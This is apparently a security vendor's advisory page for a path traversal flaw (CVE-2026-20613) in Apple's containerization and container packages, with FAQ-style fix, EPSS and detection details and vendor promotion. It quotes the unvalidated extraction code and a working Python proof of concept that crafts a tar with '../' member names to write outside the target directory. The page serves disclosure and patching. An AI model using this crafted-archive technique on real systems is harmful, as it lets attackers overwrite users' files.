How severe is GHSA-cq3j-qj2h-6rv3?

No CVSS score has been assigned to GHSA-cq3j-qj2h-6rv3 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-cq3j-qj2h-6rv3?

GHSA-cq3j-qj2h-6rv3 affects the following packages: github.com/apple/containerization (SwiftURL), github.com/apple/container (SwiftURL). Ecosystems affected: SwiftURL.

How do I fix GHSA-cq3j-qj2h-6rv3?

Update github.com/apple/containerization to 0.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cq3j-qj2h-6rv3 is resolved across your whole dependency graph.

How do I detect GHSA-cq3j-qj2h-6rv3 in my SwiftURL dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/apple/containerization. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-cq3j-qj2h-6rv3 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-cq3j-qj2h-6rv3?

O3 pinpoints whether GHSA-cq3j-qj2h-6rv3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-cq3j-qj2h-6rv3 actively exploited in the wild?

No public exploit code has been indexed for GHSA-cq3j-qj2h-6rv3 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-cq3j-qj2h-6rv3?

GHSA-cq3j-qj2h-6rv3 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 15th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-cq3j-qj2h-6rv3?

GHSA-cq3j-qj2h-6rv3 is classified as Path Traversal (CWE-22). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-cq3j-qj2h-6rv3 published, and has it been updated?

GHSA-cq3j-qj2h-6rv3 was published on January 22, 2026 and was last updated on February 3, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 SwiftURL

GHSA-cq3j-qj2h-6rv3

Container and Containerization archive extraction does not guard against escapes from extraction base directory.

Also known asCVE-2026-20613

Published

Jan 22, 2026

Updated

Feb 3, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk15th percentile+0.23%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

2 pkgs affected

📦github.com/apple/containerization📦github.com/apple/container

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects SwiftURL packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.

Details

The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.

    /// Extracts the contents of an archive to the provided directory.
    /// Currently only handles regular files and directories present in the archive.
    public func extractContents(to directory: URL) throws {
        let fm = FileManager.default
        var foundEntry = false
        for (entry, data) in self {
            guard let p = entry.path else { continue }
            foundEntry = true
            let type = entry.fileType
            let target = directory.appending(path: p)
            switch type {
            case .regular:
                try data.write(to: target, options: .atomic)
            case .directory:
                try fm.createDirectory(at: target, withIntermediateDirectories: true)
            case .symbolicLink:
                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
                    continue
                }
                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
            default:
                continue
            }
            chmod(target.path(), entry.permissions)
            if let owner = entry.owner, let group = entry.group {
                chown(target.path(), owner, group)
            }
        }
        guard foundEntry else {
            throw ArchiveError.failedToExtractArchive("no entries found in archive")
        }
    }

PoC

Sample script make-evil-tar.py:

#! /usr/bin/env python3

import tarfile
import io
import time

tar_path = "evil.tar"

# Content of the file inside the tar
payload = b"pwned\n"

with tarfile.open(tar_path, "w") as tar:
    info = tarfile.TarInfo(
        name="../../../../../../../../../../../tmp/pwned.txt"
    )
    info.size = len(payload)
    info.mtime = int(time.time())
    info.mode = 0o644

    tar.addfile(info, io.BytesIO(payload))

print(f"Created {tar_path}")

% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt 
pwned

Impact

Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.

Affects users of container image load in the container project.

These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.

Affected Packages

2 total 2 fixed

Ecosystem	Package	Vulnerable range	Fix
📦SwiftURL	`github.com/apple/containerization`	all versions	0.21.0
📦SwiftURL	`github.com/apple/container`	all versions	0.8.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/apple/containerization. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/apple/containerization to 0.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cq3j-qj2h-6rv3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-cq3j-qj2h-6rv3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-cq3j-qj2h-6rv3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. ### Details The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180. ```swift /// Extracts the contents of an archive to the provided directory. /// Currently only handles regular file

O3 Security · Impact-Aware SCA

Is GHSA-cq3j-qj2h-6rv3 in your dependencies?

O3 detects GHSA-cq3j-qj2h-6rv3 across SwiftURL dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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